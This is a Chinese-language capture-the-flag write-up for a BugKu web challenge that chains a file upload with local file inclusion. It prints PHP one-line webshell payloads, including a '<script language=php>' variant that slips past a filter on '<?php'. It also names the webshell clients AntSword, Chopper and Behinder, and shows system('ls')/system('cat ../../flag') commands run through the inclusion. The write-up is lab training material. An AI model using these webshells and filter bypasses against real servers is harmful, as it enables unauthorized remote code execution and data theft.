BugKu Web渗透之 文件包含2
启动场景,打开网页,如下图所示。

步骤一:查看请求的数据。
发现响应中有一个upload.php的注释。

步骤二:访问upload.php
发现是一个文件上传的页面。

步骤三:(方法一)用菜刀或蚁剑连接,上传一句话木马。
1.测试其他类型的文件是否能上传,测试了txt和php后缀的,结果都显示upload failed。

2.截图保存图片,之后在文件内容后添加一句话木马,上传提示成功,并显示了保存的路径。
一句话木马为:<?php @assert($_REQUEST['pass']); ?>
此时会显示上传成功,并返回上传路径。

3.根据上传地址访问文件。
index.php?file=upload/*****.png
网页显示内容如下:

发现<?php 和 ?> 被屏蔽。
4.重新写一句话木马,避开被屏蔽的字段。
把<?php用 <script language=php 代替,
<script language=php>eval($_POST['pass']);</script>
5.蚁剑或者菜刀连接。

6.连接成功,之后文件列表中的根目录找到flag文件


双击打开,得到flag。
步骤三:(方法二)用冰蝎连接。
1.上传完整shell,php语言的,把其中的<?php 和 ?> 替换成<script language=php> 和</script>
2.新增Shell。

3.双击连接,基本信息页面显示这样就是连接成功了。

4.文件管理页面,查找flag,并双击显示。

步骤三:(方法三)使用系统命令去查看flag
1.尝试上传文件内容为:<script language=php>system("ls")</script>的文件,将文件后缀从txt改为png。
2.上传完成后,根据上传目录去查看,结果发现显示了文件目录。

但是ls是不显示文件的,于是我把ls 后加了参数-a,这样就能显示文件夹和文件了。
3.继续尝试 ls -a ..、 ls -a ../..、 ls -a ../../.. ,分别将这些内容替换上面的ls,之后文件上传,再查看上传文件的路径,显示内容依次为:



4.在最后一张图发现了flag字样,于是,<script language=php>system("cat ../../flag")</script>,同样是上传后,通过路径查看,最后显示flag。
其实这题还有一个更简单的方法,就是直接在file=后加上/flag,直接就显示flag了。但是一般来说,不会这么简单,所以我们还是得把思路和流程都走一遍。
